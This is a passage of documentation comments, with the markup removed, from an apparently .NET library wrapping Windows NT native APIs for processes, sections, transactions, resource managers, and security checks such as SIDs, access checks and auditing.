bit this returns the same value as PebAddress. + + + + Get the base address of the process from the PEB. + + + + + Read flags from PEB. + + + + + Get the process' exit status. + + + + + Get the process' exit status as an NtStatus code. + + + + + Get the process' command line + + + + + Get the command line as parsed arguments. + + + + + Get process DEP status + + + + + Get whether process has a debug port. + + + + + + Get handle count. + + + + + Get break on termination flag. + + + + + Get or set debug flags. + + + + + Get or set execute flags. + + + + + Get IO priority. + + + + + Get secure cookie. + + + + + Get the process user. + + + + + Get the integrity level of the process. + + + + + Get process mitigations + + + + + Get extended process flags. + + + + + Get process window title (from Process Parameters). + + + + + Get process window flags (from Process Parameters). + + + + + Get the process subsystem type. + + + + + Get if the process is Wow64 + + + + + Get whether the process is 64bit. + + + + + Get whether LUID device maps are enabled. + + + + + Return whether this process is sandboxed. + + + + + Get or set the hard error mode. + + + + + Does the process has a child process restriction? + + + + + Gets whether the process is currently deleting. + + + + + Gets whether the process is secure. + + + + + Gets whether the process is protected. + + + + + Gets whether the process is a subsystem process. + + + + + Gets whether the process is frozen. + + + + + Get process protection information. + + + + + Query process section image information. + + + + + Get full image path name in native format + + + + + Get the Win32 image path. + + + + + Get owner process ID + + + + + Query the process token's full package name. + + + + + Get or set whether resource virtualization is enabled. + + + + + Get the security domain of the process. + + + + + Get the creation time of the process. + + + + + Get the exit time of the process. + + + + + Get the time spent in the kernel. + + + + + Get the time spent in user mode. + + + + + Get the time spent in the kernel in seconds. + + + + + Get the time spent in user mode. + + + + + Get the process IO counters. + + + + + Get or set priority boost disabled. + + + + + Get the current process. + + This only uses the pseudo handle, for the process. If you need a proper handle use OpenCurrent. + + + + Get the current PEB address. + + + + + Configuration for a new NT Process. + + + + + Path to the executable to start. + + + + + Path to the executable to start which is passed in the process configuration. + + This doesn't have to match ImagePath. + + + + Command line + + + + + Prepared environment block. + + + + + Title of the main window. + + + + + Path to DLLs. + + + + + Current directory for new process + + + + + Desktop information value + + + + + Shell information value + + + + + Runtime data. + + + + + Prohibited image characteristics for new process + + + + + Additional file access for opened executable file. + + + + + Process create flags. + + + + + Thread create flags. + + + + + Initialization flags + + + + + Parent process. + + + + + Specify child process mitigations. + + + + + Whether to terminate the process on dispose. + + + + + Specify a security descriptor for the process. + + + + + Specify a security descriptor for the initial thread. + + + + + Specify the primary token for the new process. + + + + + Access for process handle. + + + + + Access for thread handle. + + + + + Set protection level. + + + + + Set to create a trustlet. + + + + + Set to specify the configuration for the trustlet if Secure is set. + + + + + Capture additional information when NtProcess.Create returns. + + + + + Specify callback to update process parameters. + + + + + Redirection DLL path. Only supported from 1903. + + + + + Inheritable handles. + + + + + Debug object. + + + + + Toggle inherit handles process create flag. + + + + + Add an extra process/thread attribute. + + The process attribute to add. + The caller is responsible for disposing the attribute, this class does not hold a reference. + + + + Set protected process protection level. + + The type of protected process. + The signer level. + + + + Constructor + + + + + Result from creating a user process. + + + + + Handle to the process + + + + + Handle to the initial thread + + + + + Handle to the image file + + + + + Handle to the image section + + + + + Handle to the IFEO key (if it exists) + + + + + Image information + + + + + Client ID of process and thread + + + + + Process ID + + + + + Thread ID + + + + + Create status. + + + + + True if create succeeded. + + + + + DLL characterists if CreateState is FailMachineMismatch. + + + + + Creation state + + + + + Output flags if CreateStatus is Success. + + + + + Native user process parameters pointer if CreateStatus is Success. + + + + + Wow64 user process parameters pointer if CreateStatus is Success. + + + + + Current parameter flags if CreateStatus is Success. + + + + + PEB pointer if CreateStatus is Success. + + + + + Wow64 PEB pointer if CreateStatus is Success. + + + + + Manifest pointer if CreateStatus is Success. + + + + + Manifest size if CreateStatus is Success. + + + + + Set to true to terminate process on disposal + + + + + Terminate the process + + Exit code for termination + + + + Resume initial thread + + The suspend count + + + + Explicit conversion operator to an NtThread object. + + The win32 process + + + + Explicit conversion operator to an NtProcess object. + + The win32 process + + + + Dispose + + + + + Entry for a process environment block. + + + + + Name of the environment variable. + + + + + Value of the environment variable. + + + + + Constructor. + + Name of the environment variable. + Value of the environment variable. + + + + Class representing various process mitigations + + + + + Partial definition of the PEB + + + + + Partial definition of the PEB + + + + + Class which represents the configuration for a trustlet. + + + + + The ID of the trustlet. + + + + + The mailbox key. Must be 2 longs. + + + + + The collaboration ID. Must be 2 longs. + + + + + The VM ID. Must be 2 longs. + + + + + The TK sessio ID. Must be 4 longs. + + + + + Overridden ToString method. + + The object as a string. + + + + Create a trustlet configuration from an image file. + + The path to the image file. Should be a native path. + True to throw on error. + The trustlet configuration. + + + + Create a trustlet configuration from an image file. + + The path to the image file. Should be a win32 path. + The trustlet configuration. + + + + Constructor + + + + + Constructor + + The ID of the trustlet. + + + + Class to represent a registry transaction object + + + + + Create a transaction + + The object attributes + Desired access for the handle + True to throw an exception on error. + The NT status code and object result. + + + + Create a transaction + + The object attributes + Desired access for the handle + The opened transaction + + + + Create a transaction + + The path of the transaction + The root if path is relative + The opened transaction + + + + Create a transaction + + The path of the transaction + The opened transaction + + + + Create a transaction + + The opened transaction + + + + Open a transaction object. + + The path to the object + The root if path is relative + The desired access for the object + The opened object + + + + Open a transaction object. + + The object attributes for the object + The desired access for the object + True to throw an exception on error. + The NT status code and object result. + + + + Open a transaction object. + + The object attributes for the object + The desired access for the object + The opened object + + + + Open a transaction object. + + The path to the object + The opened object + + + + Commit the transaction + + + + + Rollback the transaction + + + + + Enable the transaction for anything in the current thread context. + + The transaction context. This should be disposed to disable the transaction. + + + + Class to represent a transaction resource manager. + + + + + Create a new resource manager object. + + The object attributes + Desired access for the handle + Creation options flags. + Optional transaction manager to assign the resource manager to. + Resource manager GUID. + Optional description. + True to throw an exception on error. + The NT status code and object result. + + + + Create a new resource manager object. + + The object attributes + Desired access for the handle + Creation options flags. + Optional transaction manager to assign the resource manager to. + Resource manager GUID. + Optional description. + The object result. + Thrown on error. + + + + Create a new resource manager object. + + The path to the resource manager. + The root if path is relative. + Desired access for the handle + Creation options flags. + Optional transaction manager to assign the resource manager to. + Resource manager GUID. + Optional description. + True to throw an exception on error. + The NT status code and object result. + + + + Create a new resource manager object. + + The path to the resource manager. + The root if path is relative. + Desired access for the handle + Creation options flags. + Optional transaction manager to assign the resource manager to. + Resource manager GUID. + Optional description. + The object result. + Thrown on error. + + + + Create a new volatile resource manager object. + + The path to the resource manager. + The root if path is relative. + Desired access for the handle + Optional transaction manager to assign the resource manager to. + Resource manager GUID. + The object result. + Thrown on error. + + + + Create a new volatile resource manager object. + + The path to the resource manager. + The root if path is relative. + Desired access for the handle + Optional transaction manager to assign the resource manager to. + The object result. + Thrown on error. + + + + Create a new volatile resource manager object. + + The path to the resource manager. + The root if path is relative. + Optional transaction manager to assign the resource manager to. + The object result. + Thrown on error. + + + + Create a new volatile resource manager object. + + The path to the resource manager. + Optional transaction manager to assign the resource manager to. + The object result. + Thrown on error. + + + + Create a new volatile resource manager object. + + Optional transaction manager to assign the resource manager to. + The object result. + Thrown on error. + + + + Opens an existing resource manager object. + + The object attributes + Desired access for the handle + Transaction manager which contains the resource manager. + Resource manager GUID. + True to throw an exception on error. + The NT status code and object result. + + + + Opens an existing resource manager object. + + The object attributes + Desired access for the handle + Transaction manager which contains the resource manager. + Resource manager GUID. + The object result. + Thrown on error. + + + + Recover the the transaction manager. + + True to throw on error. + The NT status code. + + + + Recover the the transaction manager. + + + + + Set an IO completion port on the resource manager. + + The IO completion port. + Associated completion key. + True to throw on error. + The NT status code. + + + + Set an IO completion port on the resource manager. + + The IO completion port. + Associated completion key. + + + + Get a notification synchronously. + + Optional timeout for getting the notification. + True to throw on error. + The transaction notification. + + + + Get a notification synchronously. + + Optional timeout for getting the notification. + The transaction notification. + + + + Get a notification synchronously waiting indefinetly. + + The transaction notification. + + + + Register protocol information. + + The ID of the protocol to register. + An opaque protocol buffer. + Optional create options. + True to throw on error. + The NT status code. + + + + Register protocol information. + + The ID of the protocol to register. + An opaque protocol buffer. + Optional create options. + + + + Complete propagation request. + + The cookie to identify the request. + An optional buffer to pass with the request. + True to throw on error. + The NT status code. + + + + Complete propagation request. + + The cookie to identify the request. + An optional buffer to pass with the request. + + + + Fail propagation request. + + The cookie to identify the request. + Optional NT status code for the failure. + True to throw on error. + The NT status code. + + + + Get a list of all accessible enlistment objects owned by this resource manager. + + The object attributes + The access for the enlistment objects. + The list of all accessible enlistment objects. + + + + Get a list of all accessible enlistment objects owned by this resource manager. + + The access for the enlistment objects. + The list of all accessible enlistment objects. + + + + Get a list of all accessible resource manager objects owned by this transaction manager. + + The list of all accessible resource manager objects. + + + + Create an enlistment in this resource manager. + + Desired access for the handle + The transaction to enlist. + Optional create options. + Notification mask. + Enlistment key returned during notification. + True to throw an exception on error. + The created enlistment and NT status code. + + + + Create an enlistment in this resource manager. + + Desired access for the handle + The transaction to enlist. + Optional create options. + Notification mask. + Enlistment key returned during notification. + The created enlistment. + + + + Create an enlistment in this resource manager. + + The transaction to enlist. + Notification mask. + Enlistment key returned during notification. + The created enlistment. + + + + Create an enlistment in this resource manager. + + The transaction to enlist. + Enlistment key returned during notification. + The created enlistment. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Get the resource manager ID. + + + + + Get the description for the resource manager. + + + + + A structure to return the result of an NT system call with status. + This allows a function to return both a status code and a result + without having to resort to out parameters. + + The result type. + + + + The NT status code. + + + + + The result of the NT call. + + + + + Get the result object or throw an exception if status code is an error. + + The result NT result. + Thrown if status code is an error. + + + + Get the result object or a default value if an error occurred. + + The default value to return. + The result or the default if an error occurred. + + + + Get the result object or a default value if an error occurred. + + The result or the default if an error occurred. + + + + Is the result successful. + + + + + Map result to a different type. + + The different type to map to. + A function to map the result. + The mapped result. + + + + Map result to a different type. + + The different type to map to. + A function to map the result. + The mapped result. + + + + Cast result to a different type. + + The different type to cast to. + The mapped result. + + + + Forward the result and check for an exception. + + True to throw on error. + The forwarded result. + + + + Dispose result. + + + + + Create a result from an error. + + The error status code. + True to throw on error. + The result. + + + + Create a result. + + + Create a new result. + + + + Conversion operator from T to object. + + The result to convert. + + + + Compression format for RtlDecompressBuffer. + + + + + Class to represent a NT Section object + + + + + Create an Image section object + + The object attributes for the image section. + The file to create the image section from + The opened section + Thrown on error. + + + + Create an Image section object + + The object name to use for the image section. + Root directory for the object. + The file to create the image section from + The opened section + Thrown on error. + + + + Create an Image section object + + The object name to use for the image section. + The file to create the image section from + The opened section + Thrown on error. + + + + Create an Image section object + + The file to create the image section from + The opened section + Thrown on error. + + + + Create a data section from a file. + + The file to create from. + The created section object. + + + + Create a section object + + The object attributes + The desired access + Optional size of the section + The section protection + The section attributes. The lower 5 bits can be used to specify the NUMA node. + Optional backing file + True to throw an exception on error. + The NT status code and object result. + + + + Create a section object + + The object attributes + The desired access + Optional size of the section + The section protection + The section attributes + Optional backing file + The opened section + Thrown on error. + + + + Create a section object + + The path to the section + The root if path is relative + The desired access + Optional size of the section + The section protection + The section attributes. The lower 5 bits can be used to specify the NUMA node. + Optional backing file + The opened section + Thrown on error. + + + + Create a section object + + Size of the section + The opened section + Thrown on error. + + + + Create a section object + + The object attributes + The desired access + Optional size of the section + The section protection + The section attributes + Optional backing file + Extended parameters for section create. + True to throw an exception on error. + The NT status code and object result. + + + + Create a section object + + The object attributes + The desired access + Optional size of the section + The section protection + The section attributes + Optional backing file + Extended parameters for section create. + The NT status code and object result. + + + + Open a section object + + The object attributes for the section + The desired access for the sections + True to throw an exception on error. + The NT status code and object result. + + + + Open a section object + + The object attributes for the section + The desired access for the sections + The opened section + + + + Open a section object + + The path to the section + Root object if the path is relative + The desired access for the sections + The opened section + + + + Unmap a section in a specified process. + + The process to unmap the section. + The base address to unmap. + Flags for unmapping memory. + True to throw on error. + The NT status code. + + + + Unmap a section in a specified process. + + The process to unmap the section. + The base address to unmap. + True to throw on error. + The NT status code. + + + + Unmap a section in the current process. + + The base address to unmap. + True to throw on error. + The NT status code. + + + + Unmap a section in a specified process. + + The process to unmap the section. + The base address to unmap. + Flags for unmapping memory. + + + + Unmap a section in a specified process. + + The process to unmap the section. + The base address to unmap. + + + + Unmap a section in the current process. + + The base address to unmap. + + + + Map section Read/Write into a specific process + + The process to map into + The mapped section + + + + Map section Read Only into a specific process + + The process to map into + The mapped section + + + + Map section Read/Write into a specific process + + The process to map into + True to throw on error. + The mapped section + + + + Map section Read Only into a specific process + + The process to map into + True to throw on error. + The mapped section + + + + Map section Read Only into a current process + + The mapped section + + + + Map section Read Only into a current process + + True to throw on error. + The mapped section + + + + Map section Read/Write into a current process + + The mapped section + + + + Map section Read/Write into a current process + + True to throw on error. + The mapped section + + + + Map section into a specific process + + The process to map into + The protection of the mapping + The mapped section + + + + Map section into a specific process + + The process to map into + The protection of the mapping + True to throw on error. + The mapped section + + + + Map section into a specific process + + The process to map into + The protection of the mapping + Optional base address + Number of zero bits. + Size of pages to commit. + Offset into the section. + Optional view size + Allocation type. + Section inheritance type. + True to throw on error. + The mapped section + + + + Map section into a specific process + + The process to map into + The protection of the mapping + Optional base address + Number of zero bits. + Size of pages to commit. + Offset into the section. + Optional view size + Allocation type. + Section inheritance type. + The mapped section + + + + Map section into a specific process + + The process to map into + The protection of the mapping + Optional base address + Optional view size + The mapped section + + + + Map section into a specific process + + The process to map into + The protection of the mapping + Optional base address + Optional view size + True to throw on error. + The mapped section + + + + Map section into the current process + + The protection of the mapping + The mapped section + + + + Extend the section to a new size. + + The new size to extend to. + True to throw on error. + The new size. + Thrown on error. + + + + Extend the section to a new size. + + The new size to extend to. + The new size. + Thrown on error. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Get the size of the section + + + + + Get the attributes of the section + + + + + Get section image information. + + + + + Get original section base address. + + + + + Get relocation address. + + + + + Static class to access NT security manager routines. + + + + + Looks up the account name of a SID. + + The system name to lookup the SID on. + The SID to lookup + True to throw on error. + The name. + + + + Looks up the account name of a SID. + + The SID to lookup + True to throw on error. + The name. + + + + Looks up the account name of a SID. + + The SID to lookup + The SID name. + Thrown if lookup fails. + + + + Looks up the account name of a SID. + + The SID to lookup + True to throw on error. + The name. + + + + Looks up the account name of a SID. + + The SID to lookup + The name, or null if the lookup failed + + + + Looks up a capability SID to see if it's already known. + + The capability SID to lookup + The name of the capability, null if not found. + + + + Lookup a SID from a username. + + The system name to lookup the SID on. + The username, can be in the form domain\account. + True to throw on error. + The Security Identifier + Thrown if account cannot be found. + + + + Lookup a SID from a username. + + The system name to lookup the SID on. + The username, can be in the form domain\account. + The Security Identifier + Thrown if account cannot be found. + + + + Lookup a SID from a username. + + The username, can be in the form domain\account. + The Security Identifier + Thrown if account cannot be found. + + + + Lookup the name of a process trust SID. + + The trust sid to lookup. + The name of the trust sid. null if not found. + Thrown if trust_sid is not a trust sid. + + + + Try and lookup the moniker associated with a package sid. + + The package sid. + Returns the moniker name. If not found returns null. + Thrown if SID is not a package sid. + + + + Lookup a device capability SID name if known. + + The SID to lookup. + Returns the device capability name. If not found returns null. + Thrown if SID is not a package sid. + + + + Convert a package SID to a capability. + + The package SID to convert. + The package SID as a capability. + + + + Convert a security descriptor to SDDL string + + The security descriptor + Indicates what parts of the security descriptor to include + The SDDL string + Thrown if cannot convert to a SDDL string. + + + + Convert a security descriptor to SDDL string + + The security descriptor + Indicates what parts of the security descriptor to include + True to throw on errror. + The SDDL string + Thrown if cannot convert to a SDDL string. + + + + Convert an SDDL string to a binary security descriptor + + The SDDL string + True to throw on error. + The binary security descriptor + Thrown if cannot convert from a SDDL string. + + + + Convert an SDDL string to a binary security descriptor + + The SDDL string + The binary security descriptor + Thrown if cannot convert from a SDDL string. + + + + Convert an SDDL string to a binary security descriptor + + The SDDL string + True to throw on error. + The binary security descriptor + Thrown if cannot convert from a SDDL string. + + + + Convert an SDDL string to a binary security descriptor + + The SDDL string + The binary security descriptor + Thrown if cannot convert from a SDDL string. + + + + Convert an SDDL SID string to a Sid + + The SDDL SID string + True to throw on error. + The converted Sid + Thrown if cannot convert from a SDDL string. + + + + Convert an SDDL SID string to a Sid + + The SDDL SID string + The converted Sid + Thrown if cannot convert from a SDDL string. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + This function returns a list of results rather than a single entry. It should only be used + with object types. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + List of object types to check against. + True to throw on error. + The list of access check results. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + This function returns a list of results rather than a single entry. It should only be used + with object types. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + List of object types to check against. + The list of access check results. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + List of object types to check against. + True to throw on error. + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + List of object types to check against. + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + List of object types to check against. + True to throw on error. + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + List of object types to check against. + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + True to throw on error. + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + True to throw on error. + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + The allowed access mask as a unsigned integer. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + The type specific generic mapping (get from corresponding NtType entry). + The allowed access mask as a unsigned integer. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the maximum allowed access. + + The security descriptor + The access token. + The type specific generic mapping (get from corresponding NtType entry). + The maximum allowed access mask as a unsigned integer. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the maximum allowed access. + + The security descriptor + The access token. + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + The maximum allowed access mask as a unsigned integer. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + The type used to determine generic access mapping.. + The allowed access mask as a unsigned integer. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the maximum allowed access. + + The security descriptor + The access token. + The type used to determine generic access mapping.. + The allowed access mask as a unsigned integer. + Thrown if an error occurred in the access check. + + + + Get a security descriptor from a named object. + + The path to the resource (such as \BaseNamedObejct\ABC) + The type of resource, can be null to get the method to try and discover the correct type. + The named resource security descriptor. Returns null if can't open the resource. + + + + Do an access check between a security descriptor and a token to determine the allowed access and + audit the result. + + The name of the subsystem to audit. + The handle ID to audit. Used when issuing a close audit. + The object type name. + The name of the object. + Indicates if this is an object creation operation. + Type of audit. + Flags for the audit operation. + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + List of object types to check against. + True to throw on error. + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access and + audit the result. + + The name of the subsystem to audit. + The handle ID to audit. Used when issuing a close audit. + The object type name. + The name of the object. + Indicates if this is an object creation operation. + Type of audit. + Flags for the audit operation. + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + List of object types to check against. + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access + and audit. This function returns a list of results rather than a single entry. It should only + be used with object types. + + The name of the subsystem to audit. + The handle ID to audit. Used when issuing a close audit. + The object type name. + The name of the object. + Indicates if this is an object creation operation. + Type of audit. + Flags for the audit operation. + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + List of object types to check against. + True to throw on error. + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access + and audit. This function returns a list of results rather than a single entry. It should only + be used with object types. + + The name of the subsystem to audit. + The handle ID to audit. Used when issuing a close audit. + The object type name. + The name of the object. + Indicates if this is an object creation operation. + Type of audit. + Flags for the audit operation. + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + List of object types to check against. + The result of the access check. + Thrown if an error occurred in the access check. + + + + Get a SID for a specific mandatory integrity level. + + The mandatory integrity level. + The integrity SID + + + + Get a SID for a specific mandatory integrity level. + + The mandatory integrity level. + The integrity SID + + + + Checks if a SID is an integrity level SID + + The SID to check + True if an integrity SID + + + + Get the integrity level from an integrity SID + + The integrity SID + The token integrity level. + + + + Gets the SID for a service name. + + The service name. + The service SID. + Thrown on error. + + + + Checks if a SID is a service SID. + + The sid to check. + True if a service sid. + + + + Checks if a SID is a logon session SID. + + The sid to check. + True if a logon session sid. + + + + Checks if a SID is a process trust SID. + + The sid to check. + True if a process trust sid. + + + + Checks if a SID is a domain SID. + + The SID to check. + True if a domain SID. + + + + Checks if a SID is a domain SID and is a member of the local machine domain. + + The SID to check. + True if a domain SID. + + + + Checks if a SID is a capability SID. + + The sid to check. + True if a capability sid. + + + + Checks if a SID is a capbility group SID. + + The sid to check. + True if a capability group sid. + + + + Get a capability sid by name. + + The name of the capability. + True to throw on error. + The capability SID. + + + + Get a capability sid by name. + + The name of the capability. + The capability SID. + + + + Get a capability group sid by name. + + The name of the capability. + True to throw on error. + The capability SID. + + + + Get a capability group sid by name. + + The name of the capability. + The capability SID. + + + + Get the type of package sid. + + The sid to get type. + The package sid type, Unknown if invalid. + + + + Checks if a SID is a valid package SID. + + The sid to check. + True if a capability sid. + + + + Get the parent package SID for a child package SID. + + The child package SID. + The parent package SID. + Thrown if sid not a child package SID. + + + + Checks if a SID is a Scoped Policy ID SID. + + The SID to check. + True if a Scoped Policy ID SID. + + + + Converts conditional ACE data to an SDDL string + + The conditional application data. + True to throw on error. + The conditional ACE string. + + + + Converts conditional ACE data to an SDDL string + + The conditional application data. + The conditional ACE string. + + + + Converts a condition in SDDL format to an ACE application data. + + The condition in SDDL format. + The condition in ACE application data format. + + + + Evaluate a condition ACE expression. + + The Token to check against. + The conditional expression in SDDL format. + Specify resource attributes to add to the check. + True to throw on error. + True if the conditional expression was a success. + + + + Evaluate a condition ACE expression. + + The Token to check against. + The conditional expression in SDDL format. + True to throw on error. + True if the conditional expression was a success. + + + + Evaluate a condition ACE expression. + + The Token to check against. + The conditional expression in SDDL format. + Specify resource attributes to add to the check. + True if the conditional expression was a success. + + + + Evaluate a condition ACE expression. + + The Token to check against. + The conditional expression in SDDL format. + True if the conditional expression was a success. + + + + Evaluate a condition ACE expression. + + The Token to check against. + The conditional expression in binary format. + Specify resource attributes to add to the check. + True to throw on error. + True if the conditional expression was a success. + + + + Evaluate a condition ACE expression. + + The Token to check against. + The conditional expression in binary format. + True to throw on error. + True if the conditional expression was a success. + + + + Evaluate a condition ACE expression. + + The Token to check against. + The conditional expression in binary format. + Specify resource attributes to add to the check. + True if the conditional expression was a success. + + + + Evaluate a condition ACE expression. + + The Token to check against. + The conditional expression in binary format. + True if the conditional expression was a success. + + + + Get the cached signing level for a file. + + The handle to the file to query. + The cached signing level. + + + + Get the cached signing level for a file. + + The handle to the file to query. + True to throw on error. + The cached signing level. + + + + Get the cached singing level from the raw EA buffer. + + The EA buffer to read the cached signing level from. + The cached signing level. + Throw on error. + + + + Set the cached signing level for a file. + + The handle to the file to set the cache on. + Flags to set for the cache. + The signing level to cache + A list of source file for the cache. + Optional directory path to look for catalog files. + + + + Set the cached signing level for a file. + + The handle to the file to set the cache on. + Flags to set for the cache. + The signing level to cache + A list of source file for the cache. + Optional directory path to look for catalog files. + True to throw on error. + + + + Compare two signing levels. + + The current level. + The signing level to compare against. + True if the current level is above or equal to the signing level. + + + + Get readable name for a SID, if known. This covers sources of names such as LSASS lookup, capability names and package names. + + The SID to lookup. + True to bypass the internal cache and get the current name. + The name for the SID. Returns the SDDL form if no other name is known. + + + + Get readable name for a SID, if known. This covers sources of names such as LSASS lookup, capability names and package names. + + The SID to lookup. + The name for the SID. Returns the SDDL form if no other name is known. + This function will cache name lookups, this means the name might not reflect what's currently in LSASS if it's been changed. + + + + Add a SID name to the local name cache. + + The SID to add. + The SID's domain name. + The name of the account. + The name user value. + + + + Remove a SID name from the local cache. + + The SID to remove. + + + + Clear the SID name cache. + + + + + Get a logon session SID from an ID. + + The logon session ID. + The new logon session SID. + + + + Get a new logon session SID. + + The new logon session SID. + + + + Get session id from logon session SID. + + The logon session SID. + The logon session ID. + + + + Get security descriptor as a byte array + + Handle to the object to query. + What parts of the security descriptor to retrieve + True to throw on error. + The NT status result and security descriptor as a buffer. + + + + Set the object's security descriptor + + Handle to the object to set. + The security descriptor to set. + What parts of the security descriptor to set + True to throw on error. + The NT status result. + + + + Do a privilege check on a token. + + A handle to a token object. + The list of privileges to check. + True to require all necessary privileges. + True to throw on error. + The privilege check result. + + + + Get the access mask for querying a specific security information class. + + The information class. + The access mask for the information. + + + + Get the access mask for setting a specific security information class. + + The information class. + The access mask for the information. + + + + Get whether an ACE type is an allowed ACE type. + + The ACE type. + True if an allowed ACE type. + + + + Get whether an ACE type is a denied ACE type. + + The ACE type. + True if a denied ACE type. + + + + Get whether an ACE type is an object ACE type. + + The ACE type. + True if an object ACE type. + + + + Get whether an ACE type is an audit ACE type. + + The ACE type. + True if an audit ACE type. + + + + Get whether an ACE type is used int the SACL. + + The ACE type. + True if a system ACE type. + + + + Get whether an ACE type is a callback type. + + The ACE type. + True if a callback type. + + + + Convert an access rights type to a string. + + The access mask to convert + The enumeration type for the string conversion + Set to true to use SDK style names. + The string version of the access + + + + Convert an access rights type to a string. + + The access mask to convert + The enumeration type for the string conversion + The string version of the access + + + + Convert an access rights type to a string. + + The access mask to convert + The string version of the access + + + + Convert an access rights type to a string. + + The access mask to convert + Set to true to use SDK style names. + The string version of the access + + + + Convert an enumerable access rights to a string + + The access mask. + Enum type to convert to string. + Generic mapping for object type. + True to try and convert to generic rights where possible. + The string format of the access rights. Will return Full Access if not a generic access and has all rights and None if no access. + + + + Convert an enumerable access rights to a string + + The access mask. + Enum type to convert to string. + Generic mapping for object type. + True to try and convert to generic rights where possible. + Set to true to use SDK style names. + The string format of the access rights. Will return Full Access if not a generic access and has all rights and None if no access. + + + + Convert an ACE type to an SDK type string. + + The ACE type. + The ACE type as an SDK type string. + + + + Convert the ACE flags to an SDK type string. + + The ACE type as an SDK type string. + + + + Convert the security descriptor control flags to an SDK type string. + + The security descriptor control as an SDK type string. + + + + Get a Process Trust Level SID. + + The Trust Type. + The Trust Level. + The Process Trust Level SID. + + + + Generate audit event for an object open. + + The subsystem name. + Handle ID. + The typename of the object. + The name of the object. + The security descriptor set for the object. + The client token used to open the object. + Desired access for the open. + Granted access from the open. + Privileges used to open the object. + True if the object was created. + Specify whether access was granted. + True to throw on error. + A value indicating whether an event need to be generated on close. + + + + Generate audit event for an object open. + + The subsystem name. + Handle ID. + The typename of the object. + The name of the object. + The security descriptor set for the object. + The client token used to open the object. + Desired access for the open. + Granted access from the open. + Privileges used to open the object. + True if the object was created. + Specify whether access was granted. + A value indicating whether an event need to be generated on close. + + + + Generate audit event for an object close. + + The subsystem name. + Handle ID. + True indicates to generate on close. + True to throw on error. + The NT status code. + + + + Generate audit event for an object close. + + The subsystem name. + Handle ID. + True indicates to generate on close. + The NT status code. + + + + Generate audit event for an object deleted. + + The subsystem name. + Handle ID. + True indicates to generate on close. + True to throw on error. + The NT status code. + + + + Generate audit event for an object deleted. + + The subsystem name. + Handle ID. + True indicates to generate on close. + + + + Generate audit event for a privileges used with an object. + + The subsystem name. + Handle ID. + The client token used. + Desired access for the object. + Privileges used to open the object. + Specify whether access was granted. + True to throw on error. + 